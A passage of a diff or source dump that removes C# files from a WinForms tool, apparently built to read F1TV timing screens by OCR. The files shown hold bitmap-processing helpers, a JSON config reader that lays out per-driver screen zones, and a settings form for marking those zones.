Parallel.For(0, bmpHeight, y =>
|
||||
{
|
||||
byte* currentLine = ptr + (y * bmpData.Stride);
|
||||
for (int x = 0; x < bmpWidth; x++)
|
||||
{
|
||||
byte* pixel = currentLine + (x * bytesPerPixel);
|
||||
|
||||
int B = pixel[0];
|
||||
int G = pixel[1];
|
||||
int R = pixel[2];
|
||||
|
||||
if (R >= F1TV_BACKGROUND_TRESHOLD.R || G >= F1TV_BACKGROUND_TRESHOLD.G || B >= F1TV_BACKGROUND_TRESHOLD.B)
|
||||
{
|
||||
totPixels++;
|
||||
totB += pixel[0];
|
||||
totG += pixel[1];
|
||||
totR += pixel[2];
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
inputBitmap.UnlockBits(bmpData);
|
||||
|
||||
return Color.FromArgb(255, Convert.ToInt32((float)totR / (float)totPixels), Convert.ToInt32((float)totG / (float)totPixels), Convert.ToInt32((float)totB / (float)totPixels));
|
||||
}
|
||||
/// <summary>
|
||||
/// This method simply inverts all the colors in a Bitmap
|
||||
/// </summary>
|
||||
/// <param name="inputBitmap">the bitmap you want to invert the colors from</param>
|
||||
/// <returns>The bitmap with inverted colors</returns>
|
||||
public static Bitmap InvertColors(Bitmap inputBitmap)
|
||||
{
|
||||
Rectangle rect = new Rectangle(0, 0, inputBitmap.Width, inputBitmap.Height);
|
||||
BitmapData bmpData = inputBitmap.LockBits(rect, ImageLockMode.ReadWrite, inputBitmap.PixelFormat);
|
||||
int bytesPerPixel = Bitmap.GetPixelFormatSize(inputBitmap.PixelFormat) / 8;
|
||||
|
||||
unsafe
|
||||
{
|
||||
byte* ptr = (byte*)bmpData.Scan0.ToPointer();
|
||||
for (int y = 0; y < inputBitmap.Height; y++)
|
||||
{
|
||||
byte* currentLine = ptr + (y * bmpData.Stride);
|
||||
for (int x = 0; x < inputBitmap.Width; x++)
|
||||
{
|
||||
byte* pixel = currentLine + (x * bytesPerPixel);
|
||||
|
||||
pixel[0] = (byte)(255 - pixel[0]);
|
||||
pixel[1] = (byte)(255 - pixel[1]);
|
||||
pixel[2] = (byte)(255 - pixel[2]);
|
||||
}
|
||||
}
|
||||
}
|
||||
inputBitmap.UnlockBits(bmpData);
|
||||
|
||||
return inputBitmap;
|
||||
}
|
||||
/// <summary>
|
||||
/// Methods that applies Bicubic interpolation to increase the size and resolution of an image
|
||||
/// </summary>
|
||||
/// <param name="inputBitmap">The bitmap you want to resize</param>
|
||||
/// <param name="resizeFactor">The factor of resizing you want to use. I recommend using even numbers</param>
|
||||
/// <returns>The bitmap witht the new size</returns>
|
||||
public static Bitmap Resize(Bitmap inputBitmap, int resizeFactor)
|
||||
{
|
||||
var resultBitmap = new Bitmap(inputBitmap.Width * resizeFactor, inputBitmap.Height * resizeFactor);
|
||||
|
||||
using (var graphics = Graphics.FromImage(resultBitmap))
|
||||
{
|
||||
graphics.InterpolationMode = InterpolationMode.HighQualityBicubic;
|
||||
graphics.DrawImage(inputBitmap, new Rectangle(0, 0, resultBitmap.Width, resultBitmap.Height));
|
||||
}
|
||||
|
||||
return resultBitmap;
|
||||
}
|
||||
/// <summary>
|
||||
/// method that Highlights the countours of a Bitmap
|
||||
/// </summary>
|
||||
/// <param name="inputBitmap">The bitmap you want to highlight the countours of</param>
|
||||
/// <returns>The bitmap with countours highlighted</returns>
|
||||
public static Bitmap HighlightContours(Bitmap inputBitmap)
|
||||
{
|
||||
Bitmap outputBitmap = new Bitmap(inputBitmap.Width, inputBitmap.Height);
|
||||
|
||||
Bitmap grayscale = Grayscale(inputBitmap);
|
||||
Bitmap thresholded = Tresholding(grayscale, 128);
|
||||
Bitmap dilated = Dilatation(thresholded, 3);
|
||||
Bitmap eroded = Erode(dilated, 3);
|
||||
|
||||
for (int y = 0; y < inputBitmap.Height; y++)
|
||||
{
|
||||
for (int x = 0; x < inputBitmap.Width; x++)
|
||||
{
|
||||
Color pixel = inputBitmap.GetPixel(x, y);
|
||||
Color dilatedPixel = dilated.GetPixel(x, y);
|
||||
Color erodedPixel = eroded.GetPixel(x, y);
|
||||
|
||||
int gray = (int)(pixel.R * 0.3 + pixel.G * 0.59 + pixel.B * 0.11);
|
||||
int threshold = dilatedPixel.R;
|
||||
|
||||
if (gray > threshold)
|
||||
{
|
||||
outputBitmap.SetPixel(x, y, Color.FromArgb(255, 255, 255));
|
||||
}
|
||||
else if (gray <= threshold && erodedPixel.R == 0)
|
||||
{
|
||||
outputBitmap.SetPixel(x, y, Color.FromArgb(255, 0, 0));
|
||||
}
|
||||
else
|
||||
{
|
||||
outputBitmap.SetPixel(x, y, Color.FromArgb(0, 0, 0));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return outputBitmap;
|
||||
}
|
||||
/// <summary>
|
||||
/// Method that that erodes the morphology of a bitmap
|
||||
/// </summary>
|
||||
/// <param name="inputBitmap">The bitmap you want to erode</param>
|
||||
/// <param name="kernelSize">The amount of Erosion you want (be carefull its expensive on ressources)</param>
|
||||
/// <returns>The Bitmap with the eroded contents</returns>
|
||||
public static Bitmap Erode(Bitmap inputBitmap, int kernelSize)
|
||||
{
|
||||
Bitmap outputBitmap = new Bitmap(inputBitmap.Width, inputBitmap.Height);
|
||||
|
||||
int[,] kernel = new int[kernelSize, kernelSize];
|
||||
|
||||
for (int i = 0; i < kernelSize; i++)
|
||||
{
|
||||
for (int j = 0; j < kernelSize; j++)
|
||||
{
|
||||
kernel[i, j] = 1;
|
||||
}
|
||||
}
|
||||
|
||||
for (int y = kernelSize / 2; y < inputBitmap.Height - kernelSize / 2; y++)
|
||||
{
|
||||
for (int x = kernelSize / 2; x < inputBitmap.Width - kernelSize / 2; x++)
|
||||
{
|
||||
bool flag = true;
|
||||
|
||||
for (int i = -kernelSize / 2; i <= kernelSize / 2; i++)
|
||||
{
|
||||
for (int j = -kernelSize / 2; j <= kernelSize / 2; j++)
|
||||
{
|
||||
Color pixel = inputBitmap.GetPixel(x + i, y + j);
|
||||
int gray = (int)(pixel.R * 0.3 + pixel.G * 0.59 + pixel.B * 0.11);
|
||||
|
||||
if (gray >= 128 && kernel[i + kernelSize / 2, j + kernelSize / 2] == 1)
|
||||
{
|
||||
flag = false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!flag)
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (flag)
|
||||
{
|
||||
outputBitmap.SetPixel(x, y, Color.FromArgb(255, 255, 255));
|
||||
}
|
||||
else
|
||||
{
|
||||
outputBitmap.SetPixel(x, y, Color.FromArgb(0, 0, 0));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return outputBitmap;
|
||||
}
|
||||
/// <summary>
|
||||
/// Method that that use dilatation of the morphology of a bitmap
|
||||
/// </summary>
|
||||
/// <param name="inputBitmap">The bitmap you want to use dilatation on</param>
|
||||
/// <param name="kernelSize">The amount of dilatation you want (be carefull its expensive on ressources)</param>
|
||||
/// <returns>The Bitmap after Dilatation</returns>
|
||||
public static Bitmap Dilatation(Bitmap inputBitmap, int kernelSize)
|
||||
{
|
||||
Bitmap outputBitmap = new Bitmap(inputBitmap.Width, inputBitmap.Height);
|
||||
|
||||
int[,] kernel = new int[kernelSize, kernelSize];
|
||||
|
||||
for (int i = 0; i < kernelSize; i++)
|
||||
{
|
||||
for (int j = 0; j < kernelSize; j++)
|
||||
{
|
||||
kernel[i, j] = 1;
|
||||
}
|
||||
}
|
||||
|
||||
for (int y = kernelSize / 2; y < inputBitmap.Height - kernelSize / 2; y++)
|
||||
{
|
||||
for (int x = kernelSize / 2; x < inputBitmap.Width - kernelSize / 2; x++)
|
||||
{
|
||||
bool flag = false;
|
||||
|
||||
for (int i = -kernelSize / 2; i <= kernelSize / 2; i++)
|
||||
{
|
||||
for (int j = -kernelSize / 2; j <= kernelSize / 2; j++)
|
||||
{
|
||||
Color pixel = inputBitmap.GetPixel(x + i, y + j);
|
||||
int gray = (int)(pixel.R * 0.3 + pixel.G * 0.59 + pixel.B * 0.11);
|
||||
|
||||
if (gray < 128 && kernel[i + kernelSize / 2, j + kernelSize / 2] == 1)
|
||||
{
|
||||
flag = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (flag)
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (flag)
|
||||
{
|
||||
outputBitmap.SetPixel(x, y, Color.FromArgb(0, 0, 0));
|
||||
}
|
||||
else
|
||||
{
|
||||
outputBitmap.SetPixel(x, y, Color.FromArgb(255, 255, 255));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return outputBitmap;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
@@ -1,27 +0,0 @@
|
||||
# Program.cs
|
||||
|
||||
``` cs
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Test_Merge
|
||||
{
|
||||
internal static class Program
|
||||
{
|
||||
/// <summary>
|
||||
/// The main entry point for the application.
|
||||
/// </summary>
|
||||
[STAThread]
|
||||
static void Main()
|
||||
{
|
||||
Application.EnableVisualStyles();
|
||||
Application.SetCompatibleTextRenderingDefault(false);
|
||||
Application.Run(new Form1());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
@@ -1,235 +0,0 @@
|
||||
# Reader.cs
|
||||
|
||||
``` cs
|
||||
/// Author : Maxime Rohmer
|
||||
/// Date : 08/05/2023
|
||||
/// File : Reader.cs
|
||||
/// Brief : Class used to Read the config file for the OCR
|
||||
/// Version : 0.1
|
||||
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
using System.IO;
|
||||
using System.Text.Json;
|
||||
|
||||
namespace Test_Merge
|
||||
{
|
||||
public class Reader
|
||||
{
|
||||
const int NUMBER_OF_DRIVERS = 20;
|
||||
public List<string> Drivers;
|
||||
public List<Zone> MainZones;
|
||||
|
||||
public Reader(string configFile, Bitmap image,bool loadOCR = true)
|
||||
{
|
||||
MainZones = Load(image,configFile,ref Drivers,loadOCR);
|
||||
}
|
||||
/// <summary>
|
||||
/// Method that reads the JSON config file and create all the Zones and Windows
|
||||
/// </summary>
|
||||
/// <param name="imageNumber">The image #id on wich you want to create the zones on</param>
|
||||
public static List<Zone> Load(Bitmap image,string configFilePath,ref List<string> driverListToFill,bool LoadOCR)
|
||||
{
|
||||
List<Zone> mainZones = new List<Zone>();
|
||||
Bitmap fullImage = image;
|
||||
List<string> drivers;
|
||||
Zone mainZone;
|
||||
|
||||
try
|
||||
{
|
||||
using (var streamReader = new StreamReader(configFilePath))
|
||||
{
|
||||
var jsonText = streamReader.ReadToEnd();
|
||||
var jsonDocument = JsonDocument.Parse(jsonText);
|
||||
|
||||
var driversNames = jsonDocument.RootElement.GetProperty("Drivers");
|
||||
driverListToFill = new List<string>();
|
||||
|
||||
foreach (var nameElement in driversNames.EnumerateArray())
|
||||
{
|
||||
driverListToFill.Add(nameElement.GetString());
|
||||
}
|
||||
|
||||
var mainProperty = jsonDocument.RootElement.GetProperty("Main");
|
||||
Point MainPosition = new Point(mainProperty.GetProperty("x").GetInt32(), mainProperty.GetProperty("y").GetInt32());
|
||||
Size MainSize = new Size(mainProperty.GetProperty("width").GetInt32(), mainProperty.GetProperty("height").GetInt32());
|
||||
Rectangle MainRectangle = new Rectangle(MainPosition, MainSize);
|
||||
mainZone = new Zone(image, MainRectangle,"Main");
|
||||
|
||||
var zones = mainProperty.GetProperty("Zones");
|
||||
var driverZone = zones[0].GetProperty("DriverZone");
|
||||
|
||||
Point FirstZonePosition = new Point(driverZone.GetProperty("x").GetInt32(), driverZone.GetProperty("y").GetInt32());
|
||||
Size FirstZoneSize = new Size(driverZone.GetProperty("width").GetInt32(), driverZone.GetProperty("height").GetInt32());
|
||||
|
||||
var windows = driverZone.GetProperty("Windows");
|
||||
|
||||
var driverPosition = windows[0].GetProperty("Position");
|
||||
Size driverPositionArea = new Size(driverPosition.GetProperty("width").GetInt32(), FirstZoneSize.Height);
|
||||
Point driverPositionPosition = new Point(driverPosition.GetProperty("x").GetInt32(), driverPosition.GetProperty("y").GetInt32());
|
||||
|
||||
var driverGapToLeader = windows[0].GetProperty("GapToLeader");
|
||||
Size driverGapToLeaderArea = new Size(driverGapToLeader.GetProperty("width").GetInt32(), FirstZoneSize.Height);
|
||||
Point driverGapToLeaderPosition = new Point(driverGapToLeader.GetProperty("x").GetInt32(), driverGapToLeader.GetProperty("y").GetInt32());
|
||||
|
||||
var driverLapTime = windows[0].GetProperty("LapTime");
|
||||
Size driverLapTimeArea = new Size(driverLapTime.GetProperty("width").GetInt32(), FirstZoneSize.Height);
|
||||
Point driverLapTimePosition = new Point(driverLapTime.GetProperty("x").GetInt32(), driverLapTime.GetProperty("y").GetInt32());
|
||||
|
||||
|
||||
var driverDrs = windows[0].GetProperty("DRS");
|
||||
Size driverDrsArea = new Size(driverDrs.GetProperty("width").GetInt32(), FirstZoneSize.Height);
|
||||
Point driverDrsPosition = new Point(driverDrs.GetProperty("x").GetInt32(), driverDrs.GetProperty("y").GetInt32());
|
||||
|
||||
var driverTyres = windows[0].GetProperty("Tyres");
|
||||
Size driverTyresArea = new Size(driverTyres.GetProperty("width").GetInt32(), FirstZoneSize.Height);
|
||||
Point driverTyresPosition = new Point(driverTyres.GetProperty("x").GetInt32(), driverTyres.GetProperty("y").GetInt32());
|
||||
|
||||
var driverName = windows[0].GetProperty("Name");
|
||||
Size driverNameArea = new Size(driverName.GetProperty("width").GetInt32(), FirstZoneSize.Height);
|
||||
Point driverNamePosition = new Point(driverName.GetProperty("x").GetInt32(), driverName.GetProperty("y").GetInt32());
|
||||
|
||||
var driverSector1 = windows[0].GetProperty("Sector1");
|
||||
Size driverSector1Area = new Size(driverSector1.GetProperty("width").GetInt32(), FirstZoneSize.Height);
|
||||
Point driverSector1Position = new Point(driverSector1.GetProperty("x").GetInt32(), driverSector1.GetProperty("y").GetInt32());
|
||||
|
||||
var driverSector2 = windows[0].GetProperty("Sector2");
|
||||
Size driverSector2Area = new Size(driverSector2.GetProperty("width").GetInt32(), FirstZoneSize.Height);
|
||||
Point driverSector2Position = new Point(driverSector2.GetProperty("x").GetInt32(), driverSector2.GetProperty("y").GetInt32());
|
||||
|
||||
var driverSector3 = windows[0].GetProperty("Sector3");
|
||||
Size driverSector3Area = new Size(driverSector3.GetProperty("width").GetInt32(), FirstZoneSize.Height);
|
||||
Point driverSector3Position = new Point(driverSector3.GetProperty("x").GetInt32(), driverSector3.GetProperty("y").GetInt32());
|
||||
|
||||
float offset = (((float)mainZone.ZoneImage.Height - (float)(driverListToFill.Count * FirstZoneSize.Height)) / (float)driverListToFill.Count);
|
||||
Bitmap MainZoneImage = mainZone.ZoneImage;
|
||||
List<Zone> zonesToAdd = new List<Zone>();
|
||||
List<Bitmap> zonesImages = new List<Bitmap>();
|
||||
|
||||
for (int i = 0; i < NUMBER_OF_DRIVERS; i++)
|
||||
{
|
||||
Point tmpPos = new Point(0, FirstZonePosition.Y + i * FirstZoneSize.Height - Convert.ToInt32(i * offset));
|
||||
Zone newDriverZone = new Zone(MainZoneImage, new Rectangle(tmpPos, FirstZoneSize), "DriverZone");
|
||||
zonesToAdd.Add(newDriverZone);
|
||||
zonesImages.Add(newDriverZone.ZoneImage);
|
||||
|
||||
newDriverZone.ZoneImage.Save("Driver"+i+".png");
|
||||
}
|
||||
|
||||
//Parallel.For(0, NUMBER_OF_DRIVERS, i =>
|
||||
for (int i = 0; i < NUMBER_OF_DRIVERS; i++)
|
||||
{
|
||||
Zone newDriverZone = zonesToAdd[(int)i];
|
||||
Bitmap zoneImg = zonesImages[(int)i];
|
||||
|
||||
newDriverZone.AddWindow(new DriverPositionWindow(zoneImg, new Rectangle(driverPositionPosition, driverPositionArea),LoadOCR));
|
||||
newDriverZone.AddWindow(new DriverGapToLeaderWindow(zoneImg, new Rectangle(driverGapToLeaderPosition, driverGapToLeaderArea), LoadOCR));
|
||||
newDriverZone.AddWindow(new DriverLapTimeWindow(zoneImg, new Rectangle(driverLapTimePosition, driverLapTimeArea), LoadOCR));
|
||||
newDriverZone.AddWindow(new DriverDrsWindow(zoneImg, new Rectangle(driverDrsPosition, driverDrsArea), LoadOCR));
|
||||
newDriverZone.AddWindow(new DriverTyresWindow(zoneImg, new Rectangle(driverTyresPosition, driverTyresArea), LoadOCR));
|
||||
newDriverZone.AddWindow(new DriverNameWindow(zoneImg, new Rectangle(driverNamePosition, driverNameArea), LoadOCR));
|
||||
newDriverZone.AddWindow(new DriverSectorWindow(zoneImg, new Rectangle(driverSector1Position, driverSector1Area),1, LoadOCR));
|
||||
newDriverZone.AddWindow(new DriverSectorWindow(zoneImg, new Rectangle(driverSector2Position, driverSector2Area),2, LoadOCR));
|
||||
newDriverZone.AddWindow(new DriverSectorWindow(zoneImg, new Rectangle(driverSector3Position, driverSector3Area),3, LoadOCR));
|
||||
|
||||
mainZone.AddZone(newDriverZone);
|
||||
}//);
|
||||
//MessageBox.Show("We have a main zone with " + MainZone.Zones.Count() + " Driver zones with " + MainZone.Zones[4].Windows.Count() + " windows each and we have " + Drivers.Count + " drivers");
|
||||
mainZones.Add(mainZone);
|
||||
}
|
||||
}
|
||||
catch (IOException ex)
|
||||
{
|
||||
MessageBox.Show("Error reading JSON file: " + ex.Message);
|
||||
}
|
||||
catch (JsonException ex)
|
||||
{
|
||||
MessageBox.Show("Invalid JSON format: " + ex.Message);
|
||||
}
|
||||
return mainZones;
|
||||
}
|
||||
/// <summary>
|
||||
/// Method that calls all the zones and windows to get the content they can find on the image to display them
|
||||
/// </summary>
|
||||
/// <param name="idImage">The id of the image we are working with</param>
|
||||
/// <returns>a string representation of all the returns</returns>
|
||||
public async Task<string> Decode(List<Zone> mainZones,List<string> drivers)
|
||||
{
|
||||
string result = "";
|
||||
List<DriverData> mainResults = new List<DriverData>();
|
||||
|
||||
//Decode
|
||||
for (int mainZoneId = 0; mainZoneId < mainZones.Count; mainZoneId++)
|
||||
{
|
||||
switch (mainZoneId)
|
||||
{
|
||||
case 0:
|
||||
//Main Zone
|
||||
foreach (Zone z in mainZones[mainZoneId].Zones)
|
||||
{
|
||||
mainResults.Add(await z.Decode(Drivers));
|
||||
}
|
||||
break;
|
||||
//Next there could be a Title Zone and TrackInfoZone
|
||||
}
|
||||
}
|
||||
|
||||
//Display
|
||||
foreach (DriverData driver in mainResults)
|
||||
{
|
||||
result += driver.ToString();
|
||||
result += Environment.NewLine;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
/// <summary>
|
||||
/// Method that can be used to convert an amount of miliseconds into a more readable human form
|
||||
/// </summary>
|
||||
/// <param name="amountOfMs">The given amount of miliseconds ton convert</param>
|
||||
/// <returns>A human readable string that represents the ms</returns>
|
||||
public static string ConvertMsToTime(int amountOfMs)
|
||||
{
|
||||
//Convert.ToInt32 would round upand I dont want that
|
||||
int minuts = (int)((float)amountOfMs / (1000f * 60f));
|
||||
int seconds = (int)((amountOfMs - (minuts * 60f * 1000f)) / 1000);
|
||||
int ms = amountOfMs - ((minuts * 60 * 1000) + (seconds * 1000));
|
||||
|
||||
return minuts + ":" + seconds.ToString("00") + ":" + ms.ToString("000");
|
||||
}
|
||||
/// <summary>
|
||||
/// Old method that can draw on an image where the windows and zones are created. mostly used for debugging
|
||||
/// </summary>
|
||||
/// <param name="idImage">the #id of the image we are working with</param>
|
||||
/// <returns>the drawed bitmap</returns>
|
||||
public Bitmap Draw(Bitmap image,List<Zone> mainZones)
|
||||
{
|
||||
|
||||
Graphics g = Graphics.FromImage(image);
|
||||
|
||||
foreach (Zone z in mainZones)
|
||||
{
|
||||
int count = 0;
|
||||
foreach (Zone zz in z.Zones)
|
||||
{
|
||||
g.DrawRectangle(Pens.Red, z.Bounds);
|
||||
foreach (Window w in zz.Windows)
|
||||
{
|
||||
g.DrawRectangle(Pens.Blue, new Rectangle(z.Bounds.X + zz.Bounds.X, z.Bounds.Y + zz.Bounds.Y, zz.Bounds.Width, zz.Bounds.Height));
|
||||
}
|
||||
|
||||
count++;
|
||||
}
|
||||
}
|
||||
|
||||
return image;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
@@ -1,420 +0,0 @@
|
||||
# Settings.cs
|
||||
|
||||
``` cs
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Data;
|
||||
using System.Drawing;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
using System.IO;
|
||||
|
||||
namespace Test_Merge
|
||||
{
|
||||
public partial class Settings : Form
|
||||
{
|
||||
private string _grandPrixUrl = "";
|
||||
private string _grandPrixName = "";
|
||||
private int _grandPrixYear = 2000;
|
||||
private List<string> _driverList = new List<string>();
|
||||
|
||||
private F1TVEmulator Emulator = null;
|
||||
private ConfigurationTool Config = null;
|
||||
|
||||
private bool CreatingZone = false;
|
||||
private Point ZoneP1;
|
||||
private Point ZoneP2;
|
||||
|
||||
private bool CreatingWindow = false;
|
||||
private Point WindowP1;
|
||||
private Point WindowP2;
|
||||
|
||||
List<Rectangle> WindowsToAdd = new List<Rectangle>();
|
||||
|
||||
public string GrandPrixUrl { get => _grandPrixUrl; private set => _grandPrixUrl = value; }
|
||||
public string GrandPrixName { get => _grandPrixName; private set => _grandPrixName = value; }
|
||||
public int GrandPrixYear { get => _grandPrixYear; private set => _grandPrixYear = value; }
|
||||
public List<string> DriverList { get => _driverList; private set => _driverList = value; }
|
||||
|
||||
public Settings()
|
||||
{
|
||||
InitializeComponent();
|
||||
Load();
|
||||
}
|
||||
private void Load()
|
||||
{
|
||||
RefreshUI();
|
||||
}
|
||||
private void RefreshUI()
|
||||
{
|
||||
|
||||
lsbDrivers.DataSource = null;
|
||||
lsbDrivers.DataSource = DriverList;
|
||||
|
||||
if (Directory.Exists(ConfigurationTool.CONFIGS_FOLDER_NAME))
|
||||
{
|
||||
lsbPresets.DataSource = null;
|
||||
lsbPresets.DataSource = Directory.GetFiles(ConfigurationTool.CONFIGS_FOLDER_NAME);
|
||||
}
|
||||
if (CreatingZone)
|
||||
{
|
||||
if (ZoneP1 == new Point(-1, -1))
|
||||
{
|
||||
lblZonePointsRemaning.Text = "2 points Remaining";
|
||||
}
|
||||
else
|
||||
{
|
||||
lblZonePointsRemaning.Text = "1 point Remaining";
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
lblZonePointsRemaning.Text = "";
|
||||
}
|
||||
|
||||
if (CreatingWindow)
|
||||
{
|
||||
if (WindowP1 == new Point(-1, -1))
|
||||
{
|
||||
lblWindowPointsRemaining.Text = "2 points Remaining";
|
||||
}
|
||||
else
|
||||
{
|
||||
lblWindowPointsRemaining.Text = "1 point Remaining";
|
||||
}
|
||||
lblWindowPointsRemaining.Text = ConfigurationTool.NUMBER_OF_ZONES - WindowsToAdd.Count() + " Windows remaining";
|
||||
}
|
||||
else
|
||||
{
|
||||
lblWindowPointsRemaining.Text = "";
|
||||
lblWindowsRemaining.Text = "";
|
||||
}
|
||||
if (Config != null)
|
||||
{
|
||||
pbxMain.Image = Config.MainZone.Draw();
|
||||
if(Config.MainZone.Zones.Count > 0)
|
||||
pbxDriverZone.Image = Config.MainZone.Zones[0].Draw();
|
||||
}
|
||||
}
|
||||
private void CreateNewZone(Point p1, Point p2)
|
||||
{
|
||||
Rectangle dimensions = CreateAbsoluteRectangle(p1, p2);
|
||||
Config = new ConfigurationTool((Bitmap)pbxMain.Image, dimensions);
|
||||
RefreshUI();
|
||||
}
|
||||
private void CreateWindows(List<Rectangle> dimensions)
|
||||
{
|
||||
if (Config != null)
|
||||
{
|
||||
Config.AddWindows(dimensions);
|
||||
}
|
||||
}
|
||||
private void tbxGpUrl_TextChanged(object sender, EventArgs e)
|
||||
{
|
||||
GrandPrixUrl = tbxGpUrl.Text;
|
||||
}
|
||||
|
||||
private void tbxGpName_TextChanged(object sender, EventArgs e)
|
||||
{
|
||||
GrandPrixName = tbxGpName.Text;
|
||||
}
|
||||
|
||||
private void tbxGpYear_TextChanged(object sender, EventArgs e)
|
||||
{
|
||||
int year;
|
||||
try
|
||||
{
|
||||
year = Convert.ToInt32(tbxGpYear.Text);
|
||||
}
|
||||
catch
|
||||
{
|
||||
year = 1545;
|
||||
}
|
||||
GrandPrixYear = year;
|
||||
}
|
||||
|
||||
private void btnAddDriver_Click(object sender, EventArgs e)
|
||||
{
|
||||
string newDriver = tbxDriverName.Text;
|
||||
DriverList.Add(newDriver);
|
||||
tbxDriverName.Text = "";
|
||||
RefreshUI();
|
||||
}
|
||||
|
||||
private void btnRemoveDriver_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (lsbDrivers.SelectedIndex >= 0)
|
||||
{
|
||||
DriverList.RemoveAt(lsbDrivers.SelectedIndex);
|
||||
}
|
||||
RefreshUI();
|
||||
}
|
||||
private void SwitchZoneCreation()
|
||||
{
|
||||
if (CreatingZone)
|
||||
{
|
||||
CreatingZone = false;
|
||||
lblZonePointsRemaning.Text = "";
|
||||
}
|
||||
else
|
||||
{
|
||||
CreatingZone = true;
|
||||
|
||||
if (Config != null)
|
||||
Config.ResetMainZone();
|
||||
|
||||
if (CreatingWindow)
|
||||
SwitchWindowCreation();
|
||||
|
||||
if (Emulator != null && Emulator.Ready)
|
||||
{
|
||||
Config = null;
|
||||
pbxMain.Image = Emulator.Screenshot();
|
||||
}
|
||||
|
||||
ZoneP1 = new Point(-1, -1);
|
||||
ZoneP2 = new Point(-1, -1);
|
||||
|
||||
lblZonePointsRemaning.Text = "2 Points left";
|
||||
}
|
||||
RefreshUI();
|
||||
}
|
||||
private void SwitchWindowCreation()
|
||||
{
|
||||
if (CreatingWindow)
|
||||
{
|
||||
CreatingWindow = false;
|
||||
}
|
||||
else
|
||||
{
|
||||
CreatingWindow = true;
|
||||
|
||||
if (Config != null)
|
||||
Config.ResetWindows();
|
||||
|
||||
if (CreatingZone)
|
||||
SwitchZoneCreation();
|
||||
|
||||
WindowP1 = new Point(-1, -1);
|
||||
WindowP2 = new Point(-1, -1);
|
||||
|
||||
WindowsToAdd = new List<Rectangle>();
|
||||
}
|
||||
RefreshUI();
|
||||
}
|
||||
private void btnCreatZone_Click(object sender, EventArgs e)
|
||||
{
|
||||
SwitchZoneCreation();
|
||||
}
|
||||
private void btnCreateWindow_Click(object sender, EventArgs e)
|
||||
{
|
||||
SwitchWindowCreation();
|
||||
}
|
||||
private void pbxMain_MouseClick(object sender, MouseEventArgs e)
|
||||
{
|
||||
if (CreatingZone && pbxMain.Image != null)
|
||||
{
|
||||
//Point coordinates = pbxMain.PointToClient(new Point(MousePosition.X, MousePosition.Y));
|
||||
Point coordinates = e.Location;
|
||||
float xOffset = (float)pbxMain.Image.Width / (float)pbxMain.Width;
|
||||
float yOffset = (float)pbxMain.Image.Height / (float)pbxMain.Height;
|
||||
Point newPoint = new Point(Convert.ToInt32((float)coordinates.X * xOffset), Convert.ToInt32((float)coordinates.Y * yOffset));
|
||||
|
||||
//MessageBox.Show("Coordinates" + Environment.NewLine + "Old : " + coordinates.ToString() + Environment.NewLine + "New : " + newPoint.ToString());
|
||||
|
||||
if (ZoneP1 == new Point(-1, -1))
|
||||
{
|
||||
ZoneP1 = newPoint;
|
||||
}
|
||||
else
|
||||
{
|
||||
ZoneP2 = newPoint;
|
||||
CreateNewZone(ZoneP1, ZoneP2);
|
||||
SwitchZoneCreation();
|
||||
}
|
||||
RefreshUI();
|
||||
}
|
||||
}
|
||||
private void pbxMain_Click(object sender, EventArgs e)
|
||||
{
|
||||
//Not the right one to use visibly
|
||||
}
|
||||
private void pbxDriverZone_MouseClick(object sender, MouseEventArgs e)
|
||||
{
|
||||
if (CreatingWindow && pbxDriverZone.Image != null)
|
||||
{
|
||||
Point coordinates = e.Location;
|
||||
|
||||
float xOffset = (float)pbxDriverZone.Image.Width / (float)pbxDriverZone.Width;
|
||||
float yOffset = (float)pbxDriverZone.Image.Height / (float)pbxDriverZone.Height;
|
||||
|
||||
Point newPoint = new Point(Convert.ToInt32((float)coordinates.X * xOffset), Convert.ToInt32((float)coordinates.Y * yOffset));
|
||||
|
||||
if (WindowP1 == new Point(-1, -1))
|
||||
{
|
||||
WindowP1 = newPoint;
|
||||
}
|
||||
else
|
||||
{
|
||||
WindowP2 = newPoint;
|
||||
WindowsToAdd.Add(CreateAbsoluteRectangle(WindowP1, WindowP2));
|
||||
|
||||
if (WindowsToAdd.Count < ConfigurationTool.NUMBER_OF_ZONES)
|
||||
{
|
||||
WindowP1 = new Point(-1, -1);
|
||||
WindowP2 = new Point(-1, -1);
|
||||
}
|
||||
else
|
||||
{
|
||||
WindowP1 = new Point(WindowP1.X, 0);
|
||||
WindowP2 = new Point(WindowP2.X, pbxDriverZone.Image.Height);
|
||||
CreateWindows(WindowsToAdd);
|
||||
SwitchWindowCreation();
|
||||
}
|
||||
}
|
||||
RefreshUI();
|
||||
}
|
||||
}
|
||||
private void pbxDriverZone_Click(object sender, EventArgs e)
|
||||
{
|
||||
//Not the right one to use visibly
|
||||
}
|
||||
private Rectangle CreateAbsoluteRectangle(Point p1, Point p2)
|
||||
{
|
||||
Point newP1 = new Point();
|
||||
Point newP2 = new Point();
|
||||
|
||||
if (p1.X < p2.X)
|
||||
{
|
||||
newP1.X = p1.X;
|
||||
newP2.X = p2.X;
|
||||
}
|
||||
else
|
||||
{
|
||||
newP1.X = p2.X;
|
||||
newP2.X = p1.X;
|
||||
}
|
||||
|
||||
